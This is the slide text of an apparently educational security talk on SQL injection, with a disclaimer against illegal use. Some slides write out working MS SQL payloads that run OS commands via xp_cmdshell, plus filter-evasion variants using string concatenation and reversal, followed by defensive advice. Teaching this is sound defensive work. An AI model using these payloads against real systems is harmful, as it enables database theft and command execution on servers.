The session describes some advanced SQL injection techniques

1. How Did I Steal Your Database Mostafa Siraj @mostafasiraj

2. Agenda Noooo, it kills suspense

3. DISCLAIMER Hacking websites is ILLEGAL This presentation is meant for educational purposes ONLY Only use this stuff on YOUR website and YOUR account

4. SQL Injection What is it? The application dynamically generates an SQL query based on user input, but it does not sufficiently prevent that input from modifying the intended structure of the query.

6. MS SQL Server: Execute OS command xp_cmdshell

7. Set username to '; exec master.dbo.xp_cmdshell "dir";-- producesSELECT * FROM user WHERE name=''; exec master.dbo.xp_cmdshell "dir"; -- Note: dir list directory content

8. Let's play Hide and Seek Original: SELECT * FROM user WHERE name=''; exec master.dbo.xp_cmdshell "dir"; -- Defender: Disallow double quotes: Attacker: SELECT * FROM user WHERE name=''; exec master.dbo.xp_cmdshell dir; -- Defender: Filter out string “xp_cmdshell” Attacker: ';declare @a varchar(1000); set @a = 'master.dbo.xp_' + 'cmdshell dir'; exec (@a);-- Defender: Filter out “xp”, “cmd”, “shell”, …. Attacker: ';declare @a varchar(1000); set @a = reverse('rid llehsdmc_px.obd.retsam'); exec (@a);--

9. Finding SQL Injection Bugs

11. Submit two single quotation and observe the result

12. Identify the database (e.g.Oracle: ‘||’FOO MS-SQL: ‘+’FOO MySQL: ‘ ‘FOO [note the space btw the 2 quotes]

17. Demo HacmeBank

18. Demo Using UNION Operator

19. Demo MS-SQL Error

21. Process SQL queries using prepared statements, parameterized queries, or stored procedures.

22. Enforce least privilege

23. Avoid detailed error messages